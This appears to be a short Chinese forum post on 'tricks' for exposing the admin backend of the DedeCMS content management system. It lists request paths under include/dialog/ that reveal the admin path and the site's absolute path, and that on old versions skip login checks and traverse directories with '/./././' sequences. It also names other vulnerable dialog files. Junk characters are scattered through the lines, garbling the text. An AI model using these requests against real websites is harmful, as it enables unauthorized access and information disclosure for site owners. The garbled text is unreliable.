dedecms爆后台文件技巧

admin

1.include/dialog/select_soft.php文件可以爆出DEDECMS的后台,以前的老板本可以跳过登陆验证直接访问,无需管理

5 S# D2 J# [( y员帐号,新版本的就直接转向了后台.
, z* k) o' C* f
# N: t7 V9 O! t% ~" M" T1 X* l' t2.include/dialog/config.php会爆出后台管理路径
$ G/ m# `7 K8 m* X- O
5 F: `+ L8 b1 N3 f+ ?" k5 T2 s3.include/dialog/select_soft.php?activepath=/include/FCKeditor 跳转目录
5 o- L. p  i4 Q; b& w3 n1 _
4.include/dialog/select_soft.php?activepath=/st0pst0pst0pst0pst0pst0pst0pst0p 爆出网站绝对路径.

3 R9 t( O) r; h: n: B- O$ d5 w5.另外一些低版本的DEDECMS访问这个页面的时候会直接跳过登陆验证,直接显示,而且还可以用/././././././././掉

' m4 W) f, r2 M9 o! d& z* t到根目录去.不过这些版本的访问地址有些不同.
1 _  F) ?3 w: q# m地址为require/dialog/select_soft.php?activepath=/././././././././

; Y- B5 x- Q; v% |include\dialog\目录下的另外几个文件都存在同一个问题,只是默认设的目录不同.有些可以查看HTML这些文件哦..
存在相同问题的文件还有
+ p1 f$ Q5 }* c+ c: a3 \& Uinclude\dialog\select_images.php
include\dialog\select_media.php
1 C# {( p/ @5 o' l% h  L6 f  e- {" W3 Ainclude\dialog\select_templets.php​
% h! }5 L* L  k/ o2 ?